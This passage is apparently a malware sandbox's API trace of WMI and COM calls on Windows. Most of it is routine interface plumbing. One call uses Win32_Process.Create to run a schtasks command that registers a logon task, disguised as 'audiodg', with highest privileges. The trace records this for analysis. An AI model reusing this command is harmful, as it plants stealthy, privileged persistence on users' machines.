Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x0) returned 0x80004002 [0070.075] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1af0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0d0 | out: ppvObject=0x1b2fc0d0*=0x11f1a60) returned 0x0 [0070.075] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x11f1a60, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc0f8 | out: pCid=0x1b2fc0f8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0070.075] WbemDefPath:IUnknown:Release (This=0x11f1a60) returned 0x3 [0070.075] CoGetContextToken (in: pToken=0x1b2fc180 | out: pToken=0x1b2fc180) returned 0x0 [0070.075] CoGetContextToken (in: pToken=0x1b2fc600 | out: pToken=0x1b2fc600) returned 0x0 [0070.075] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1af0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6c0 | out: ppvObject=0x1b2fc6c0*=0x0) returned 0x80004002 [0070.075] WbemDefPath:IUnknown:Release (This=0x1bea1af0) returned 0x2 [0070.075] WbemDefPath:IUnknown:Release (This=0x1bea1af0) returned 0x1 [0070.075] CoGetContextToken (in: pToken=0x1b2fd420 | out: pToken=0x1b2fd420) returned 0x0 [0070.075] CoGetContextToken (in: pToken=0x1b2fd320 | out: pToken=0x1b2fd320) returned 0x0 [0070.075] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1af0, riid=0x1b2fd480*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x1bea1af0) returned 0x0 [0070.075] WbemDefPath:IUnknown:AddRef (This=0x1bea1af0) returned 0x3 [0070.075] WbemDefPath:IUnknown:Release (This=0x1bea1af0) returned 0x2 [0070.075] WbemDefPath:IWbemPath:SetText (This=0x1bea1af0, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0070.075] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea1c70, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x0) returned 0x0 [0070.075] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea1af0, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x2) returned 0x0 [0070.075] WbemDefPath:IWbemPath:GetText (in: This=0x1bea1af0, lFlags=16, puBuffLength=0x1b2fd888*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd888*=0xb, pszText=0x0) returned 0x0 [0070.075] WbemDefPath:IWbemPath:GetText (in: This=0x1bea1af0, lFlags=16, puBuffLength=0x1b2fd888*=0xb, pszText="0000000000" | out: puBuffLength=0x1b2fd888*=0xb, pszText="root\\cimv2") returned 0x0 [0070.075] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1bea1c70) returned 0x0 [0070.075] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea1af0, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0070.075] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bea1af0, uIndex=0x0, puNameBufLength=0x1b2fd8e8*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e8*=0x5, pName=0x0) returned 0x0 [0070.075] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bea1af0, uIndex=0x0, puNameBufLength=0x1b2fd8e8*=0x5, pName="0000" | out: puNameBufLength=0x1b2fd8e8*=0x5, pName="root") returned 0x0 [0070.075] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bea1c70, uIndex=0x0, pszName="root") returned 0x0 [0070.076] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bea1af0, uIndex=0x1, puNameBufLength=0x1b2fd8e8*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e8*=0x6, pName=0x0) returned 0x0 [0070.076] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bea1af0, uIndex=0x1, puNameBufLength=0x1b2fd8e8*=0x6, pName="00000" | out: puNameBufLength=0x1b2fd8e8*=0x6, pName="cimv2") returned 0x0 [0070.076] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bea1c70, uIndex=0x1, pszName="cimv2") returned 0x0 [0070.076] WbemDefPath:IWbemPath:GetServer (in: This=0x1bea1af0, puNameBufLength=0x1b2fd8e0*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e0*=0x2, pName=0x0) returned 0x0 [0070.076] WbemDefPath:IWbemPath:GetServer (in: This=0x1bea1af0, puNameBufLength=0x1b2fd8e0*=0x2, pName="0" | out: puNameBufLength=0x1b2fd8e0*=0x2, pName=".") returned 0x0 [0070.076] WbemDefPath:IWbemPath:GetServer (in: This=0x1bea1c70, puNameBufLength=0x1b2fd8e0*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e0*=0x2, pName=0x0) returned 0x0 [0070.076] WbemDefPath:IWbemPath:GetServer (in: This=0x1bea1c70, puNameBufLength=0x1b2fd8e0*=0x2, pName="0" | out: puNameBufLength=0x1b2fd8e0*=0x2, pName=".") returned 0x0 [0070.076] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bea1c70, uRequestedInfo=0x0, puResponse=0x1b2fd978 | out: puResponse=0x1b2fd978*=0xc15) returned 0x0 [0070.076] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119a6a0, puCount=0x1b2fd8d0 | out: puCount=0x1b2fd8d0*=0x2) returned 0x0 [0070.076] WbemDefPath:IWbemPath:GetText (in: This=0x119a6a0, lFlags=4, puBuffLength=0x1b2fd8c8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8c8*=0xf, pszText=0x0) returned 0x0 [0070.076] WbemDefPath:IWbemPath:GetText (in: This=0x119a6a0, lFlags=4, puBuffLength=0x1b2fd8c8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd8c8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0070.076] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119a6a0, puCount=0x1b2fd8a0 | out: puCount=0x1b2fd8a0*=0x2) returned 0x0 [0070.076] WbemDefPath:IWbemPath:GetText (in: This=0x119a6a0, lFlags=4, puBuffLength=0x1b2fd898*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd898*=0xf, pszText=0x0) returned 0x0 [0070.076] WbemDefPath:IWbemPath:GetText (in: This=0x119a6a0, lFlags=4, puBuffLength=0x1b2fd898*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd898*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0070.076] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea1c70, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0070.076] WbemDefPath:IWbemPath:GetText (in: This=0x1bea1c70, lFlags=4, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0x1d, pszText=0x0) returned 0x0 [0070.076] WbemDefPath:IWbemPath:GetText (in: This=0x1bea1c70, lFlags=4, puBuffLength=0x1b2fd958*=0x1d, pszText="0000000000000000000000000000" | out: puBuffLength=0x1b2fd958*=0x1d, pszText="\\\\.\\root\\cimv2:Win32_Process") returned 0x0 [0070.076] WbemDefPath:IWbemPath:GetText (in: This=0x1bea1c70, lFlags=2, puBuffLength=0x1b2fd968*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd968*=0xe, pszText=0x0) returned 0x0 [0070.076] WbemDefPath:IWbemPath:GetText (in: This=0x1bea1c70, lFlags=2, puBuffLength=0x1b2fd968*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fd968*=0xe, pszText="Win32_Process") returned 0x0 [0070.077] IWbemServices:GetObject (in: This=0x1bf00000, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1b2fd7b0*=0x0, ppCallResult=0x0 | out: ppObject=0x1b2fd7b0*=0x1bef62b0, ppCallResult=0x0) returned 0x0 [0070.100] IWbemClassObject:GetMethod (in: This=0x1bef62b0, wszName="Create", lFlags=0, ppInSignature=0x1b2fd9e8, ppOutSignature=0x1b2fd9e0 | out: ppInSignature=0x1b2fd9e8*=0x1bef6620, ppOutSignature=0x1b2fd9e0*=0x1bef6990) returned 0x0 [0070.100] IWbemClassObject:SpawnInstance (in: This=0x1bef6620, lFlags=0, ppNewInstance=0x1b2fd9f8 | out: ppNewInstance=0x1b2fd9f8*=0x1bf1afb0) returned 0x0 [0070.101] IWbemClassObject:Get (in: This=0x1bf1afb0, wszName="CommandLine", lFlags=0, pVal=0x1b2fd8e8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2987138*=0, plFlavor=0x298713c*=0 | out: pVal=0x1b2fd8e8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2987138*=8, plFlavor=0x298713c*=32) returned 0x0 [0070.101] IWbemClassObject:Get (in: This=0x1bf1afb0, wszName="CommandLine", lFlags=0, pVal=0x1b2fd918*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2987138*=8, plFlavor=0x298713c*=32 | out: pVal=0x1b2fd918*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2987138*=8, plFlavor=0x298713c*=32) returned 0x0 [0070.102] IWbemClassObject:Put (This=0x1bf1afb0, wszName="CommandLine", lFlags=0, pVal=0x1b2fd970*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="schtasks.exe /create /tn \"audiodg\" /sc ONLOGON /tr \"'C:\\hyperWinhost\\audiodg.exe'\" /rl HIGHEST /f", varVal2=0x0), Type=0) returned 0x0 [0070.102] IWbemClassObject:Get (in: This=0x1bf1afb0, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b2fd8e8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29871c8*=0, plFlavor=0x29871cc*=0 | out: pVal=0x1b2fd8e8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29871c8*=13, plFlavor=0x29871cc*=32) returned 0x0 [0070.102] IWbemClassObject:Get (in: This=0x1bf1afb0, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b2fd918*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29871c8*=13, plFlavor=0x29871cc*=32 | out: pVal=0x1b2fd918*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29871c8*=13, plFlavor=0x29871cc*=32) returned 0x0 [0070.102] IUnknown:QueryInterface (in: This=0x1bef5bd0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd2e8 | out: ppvObject=0x1b2fd2e8*=0x1bef5bd0) returned 0x0 [0070.102] IUnknown:QueryInterface (in: This=0x1bef5bd0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fd390 | out: ppvObject=0x1b2fd390*=0x0) returned 0x80004002 [0070.102] IUnknown:QueryInterface (in: This=0x1bef5bd0, riid=0x7fef1d169a8*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcfb8 | out: ppvObject=0x1b2fcfb8*=0x0) returned 0x80004002 [0070.102] IUnknown:AddRef (This=0x1bef5bd0) returned 0x3 [0070.102] IUnknown:QueryInterface (in: This=0x1bef5bd0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fca38 | out: ppvObject=0x1b2fca38*=0x0) returned 0x80004002 [0070.102] IUnknown:QueryInterface (in: This=0x1bef5bd0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc9c0 | out: ppvObject=0x1b2fc9c0*=0x0) returned 0x80004002 [0070.103] IUnknown:QueryInterface (in: This=0x1bef5bd0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc9b0 | out: ppvObject=0x1b2fc9b0*=0x1bef5bd8) returned 0x0 [0070.103] IMarshal:GetUnmarshalClass (in: This=0x1bef5bd8, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc9d8 | out: pCid=0x1b2fc9d8*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0070.103] IUnknown:Release (This=0x1bef5bd8) returned 0x3 [0070.103] CoGetContextToken (in: pToken=0x1b2fca60 | out: pToken=0x1b2fca60) returned 0x0 [0070.103] CoGetContextToken (in: pToken=0x1b2fcee0 | out: pToken=0x1b2fcee0) returned 0x0 [0070.103] IUnknown:QueryInterface (in: This=0x1bef5bd0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcfa0 | out: ppvObject=0x1b2fcfa0*=0x0) returned 0x80004002 [0070.103] IUnknown:Release (This=0x1bef5bd0) returned 0x2 [0070.103] CoGetContextToken (in: pToken=0x1b2fce30 | out: pToken=0x1b2fce30) returned 0x0 [0070.103] CoGetContextToken (in: pToken=0x1b2fcd30 | out: pToken=0x1b2fcd30) returned 0x0 [0070.103] IUnknown:QueryInterface (in: This=0x1bef5bd0, riid=0x1b2fce90*(Data1=0x805e3b62, Data2=0xb5e9, Data3=0x393d, Data4=([0]=0x89, [1]=0x41, [2]=0x37, [3]=0x7d, [4]=0x8b, [5]=0xf4, [6]=0x55, [7]=0x6b)), ppvObject=0x1b2fce60 | out: ppvObject=0x1b2fce60*=0x0) returned 0x80004002 [0070.103] CoGetContextToken (in: pToken=0x1b2fcfc0 | out: pToken=0x1b2fcfc0) returned 0x0 [0070.103] IUnknown:QueryInterface (in: This=0x1bef5bd0, riid=0x7fef1d2d4b0*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd090 | out: ppvObject=0x1b2fd090*=0x0) returned 0x80004002 [0070.103] CoGetContextToken (in: pToken=0x1b2fd050 | out: pToken=0x1b2fd050) returned 0x0 [0070.103] IUnknown:AddRef (This=0x1bef5bd0) returned 0x3 [0070.103] IWbemClassObject:Put (This=0x1bf1afb0, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b2fd970*(varType=0xd, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1bef5bd0, varVal2=0x0), Type=0) returned 0x0 [0070.104] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119a5e0, puCount=0x1b2fda10 | out: puCount=0x1b2fda10*=0x2) returned 0x0 [0070.104] WbemDefPath:IWbemPath:GetText (in: This=0x119a5e0, lFlags=4, puBuffLength=0x1b2fda08*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fda08*=0x26, pszText=0x0) returned 0x0 [0070.104] WbemDefPath:IWbemPath:GetText (in: This=0x119a5e0, lFlags=4, puBuffLength=0x1b2fda08*=0x26, pszText="0000000000000000000000000000000000000" | out: puBuffLength=0x1b2fda08*=0x26, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0070.104] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119a6a0, puCount=0x1b2fd950 | out: puCount=0x1b2fd950*=0x2) returned 0x0 [0070.104] WbemDefPath:IWbemPath:GetText (in: This=0x119a6a0, lFlags=4, puBuffLength=0x1b2fd948*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd948*=0xf, pszText=0x0) returned 0x0 [0070.104] WbemDefPath:IWbemPath:GetText (in: This=0x119a6a0, lFlags=4, puBuffLength=0x1b2fd948*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd948*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0070.104] WbemDefPath:IWbemPath:GetText (in: This=0x119a5e0, lFlags=2, puBuffLength=0x1b2fda18*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fda18*=0xe, pszText=0x0) returned 0x0 [0070.104] WbemDefPath:IWbemPath:GetText (in: This=0x119a5e0, lFlags=2, puBuffLength=0x1b2fda18*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fda18*=0xe, pszText="Win32_Process") returned 0x0 [0070.104] IWbemServices:ExecMethod (in: This=0x1bf00000, strObjectPath="Win32_Process", strMethodName="Create", lFlags=0, pCtx=0x0, pInParams=0x1bf1afb0, ppOutParams=0x1b2fd820*=0x0, ppCallResult=0x0 | out: ppOutParams=0x1b2fd820*=0x1bf1b260, ppCallResult=0x0) returned 0x0 [0070.259] IWbemClassObject:Get (in: This=0x1bf1b260, wszName="ProcessId", lFlags=0, pVal=0x1b2fd978*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29874f8*=0, plFlavor=0x29874fc*=0 | out: pVal=0x1b2fd978*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xfa8, varVal2=0x0), pType=0x29874f8*=19, plFlavor=0x29874fc*=0) returned 0x0 [0070.259] IWbemClassObject:Get (in: This=0x1bf1b260, wszName="ProcessId", lFlags=0, pVal=0x1b2fd988*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29874f8*=19, plFlavor=0x29874fc*=0 | out: pVal=0x1b2fd988*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xfa8, varVal2=0x0), pType=0x29874f8*=19, plFlavor=0x29874fc*=0) returned 0x0 [0070.260] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fda18 | out: ppv=0x1b2fda18*=0x111f638) returned 0x0 [0070.260] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fda08 | out: pAptType=0x1b2fda08*=1) returned 0x0 [0070.260] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fda10 | out: ppvObject=0x1b2fda10*=0x0) returned 0x80004002 [0070.260] IUnknown:Release (This=0x111f638) returned 0x1 [0070.262] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fce30 | out: ppv=0x1b2fce30*=0x11f17a0) returned 0x0 [0070.262] WbemDefPath:IUnknown:QueryInterface (in: This=0x11f17a0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fce78 | out: ppvObject=0x1b2fce78*=0x0) returned 0x80004002 [0070.262] WbemDefPath:IClassFactory:CreateInstance (in: This=0x11f17a0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fce28 | out: ppvObject=0x1b2fce28*=0x1bea1a30) returned 0x0 [0070.262] WbemDefPath:IUnknown:Release (This=0x11f17a0) returned 0x0 [0070.262] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1a30, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc38 | out: ppvObject=0x1b2fcc38*=0x1bea1a30) returned 0x0 [0070.262] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1a30, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcce0 | out: ppvObject=0x1b2fcce0*=0x0) returned 0x80004002 [0070.263] WbemDefPath:IUnknown:AddRef (This=0x1bea1a30) returned 0x3 [0070.263] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1a30, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc388 | out: ppvObject=0x1b2fc388*=0x0) returned 0x80004002 [0070.263] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1a30, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc310 | out: ppvObject=0x1b2fc310*=0x0) returned 0x80004002 [0070.263] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1a30, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc300 | out: ppvObject=0x1b2fc300*=0x11f17e0) returned 0x0 [0070.263] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x11f17e0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc328 | out: pCid=0x1b2fc328*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0070.263] WbemDefPath:IUnknown:Release (This=0x11f17e0) returned 0x3 [0070.263] CoGetContextToken (in: pToken=0x1b2fc3b0 | out: pToken=0x1b2fc3b0) returned 0x0 [0070.263] CoGetContextToken (in: pToken=0x1b2fc830 | out: pToken=0x1b2fc830) returned 0x0 [0070.263] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1a30, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc8f0 | out: ppvObject=0x1b2fc8f0*=0x0) returned 0x80004002 [0070.263] WbemDefPath:IUnknown:Release (This=0x1bea1a30) returned 0x2 [0070.263] WbemDefPath:IUnknown:Release (This=0x1bea1a30) returned 0x1 [0070.263] CoGetContextToken (in: pToken=0x1b2fd650 | out: pToken=0x1b2fd650) returned 0x0 [0070.263] CoGetContextToken (in: pToken=0x1b2fd550 | out: pToken=0x1b2fd550) returned 0x0 [0070.263] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1a30, riid=0x1b2fd6b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd680 | out: ppvObject=0x1b2fd680*=0x1bea1a30) returned 0x0 [0070.263] WbemDefPath:IUnknown:AddRef (This=0x1bea1a30) returned 0x3 [0070.263] WbemDefPath:IUnknown:Release (This=0x1bea1a30) returned 0x2 [0070.263] WbemDefPath:IWbemPath:SetText (This=0x1bea1a30, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0070.263] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea1a30, puCount=0x1b2fda60 | out: puCount=0x1b2fda60*=0x0) returned 0x0 [0070.263] WbemDefPath:IWbemPath:GetText (in: This=0x1bea1a30, lFlags=2, puBuffLength=0x1b2fda58*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fda58*=0xe, pszText=0x0) returned 0x0 [0070.263] WbemDefPath:IWbemPath:GetText (in: This=0x1bea1a30, lFlags=2, puBuffLength=0x1b2fda58*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fda58*=0xe, pszText="Win32_Process") returned 0x0 [0070.263] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bea1a30, uRequestedInfo=0x0, puResponse=0x1b2fda78 | out: puResponse=0x1b2fda78*=0xc15) returned 0x0 [0070.263] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea1a30, puCount=0x1b2fda60 | out: puCount=0x1b2fda60*=0x0) returned 0x0 [0070.263] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bea1a30, uRequestedInfo=0x0, puResponse=0x1b2fda78 | out: puResponse=0x1b2fda78*=0xc15) returned 0x0 [0070.264] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fda18 | out: ppv=0x1b2fda18*=0x111f638) returned 0x0 [0070.264] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fda08 | out: pAptType=0x1b2fda08*=1) returned 0x0 [0070.264] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fda10 | out: ppvObject=0x1b2fda10*=0x0) returned 0x80004002 [0070.264] IUnknown:Release (This=0x111f638) returned 0x1 [0070.265] CoGetClassObject (in: 